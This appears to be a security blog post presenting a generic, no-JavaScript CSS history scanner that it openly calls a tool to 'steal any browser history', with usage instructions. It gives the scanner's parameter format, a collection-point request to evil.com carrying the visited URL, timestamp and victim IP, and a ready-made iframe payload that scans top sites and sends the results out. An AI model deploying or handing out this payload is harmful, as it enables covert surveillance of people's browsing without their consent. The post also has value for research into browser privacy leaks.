After releasing my Firefox specific history scanner, RSnake came up with his own bleeding edge history scanning technique which is based on Jeremiah Grossman’s implementation but it does not require JavaScript. This approach has its own limitations and advantages.

On the advantages side, you don’t really need JavaScript to steal the victim’s browser history. So, everybody who is thinking that turning off JavaScript is the safe way to go, you are most definitely wrong. You should turn CSS off too. This is it. Sparten browsing is the key. On the other hand, history scanning without JavaScript is less powerful in a way that attackers are not able to perform actions as soon as the history is retrieved.

Still, I think that RSnake’s approach is quite interesting and innovative. I decided to write a generic scanner that can be configured on the fly to steal any browser history. The scanner is located here. Before using it you need to pass several GET or POST (it is up to you really) parameters to it:

http://www.gnucitizen.org/projects/noscript-hscan/scan.php?u1=[url]&u2=[url]&t=[target collection point]

The scanner excepts any number of URLs. The only rule is that every URL parameters must start with u (lower case u). It is a good practice to number the URLs that you want to scan as u1, u2, u3, etc. The t parameter is for the target collection point. This is the place where the history information will be sent to. The collection point will receive requests that look like the following:

http://evil.com/path/to/collection/point?u=[url]&t=[timestamp]&c=[ip]

If you haven’t figured out yet how to use the scanner, here is simple builder that could help you:





Provide the target which will log the scanned history for you. You can setup a WAMP instance and simply check the error log for the results for example. You also need to supply a list of URLs that you want to scan. Each URL must be on a new line. The current list includes ALEXA’s Top5.

The easiest way you can launch the generated scanning code is to include it inside an iframe. For example you can use something like the following:

<iframe src="http://www.gnucitizen.org/projects/noscript-hscan/scan.php?t=http%3A//evil.com/path/to/collection/point%3F&u0=http%3A//www.yahoo.com/&u1=http%3A//www.google.com/&u2=http%3A//www.myspace.com/&u3=http%3A//www.msn.com/&u4=http%3A//www.ebay.com/&"></iframe>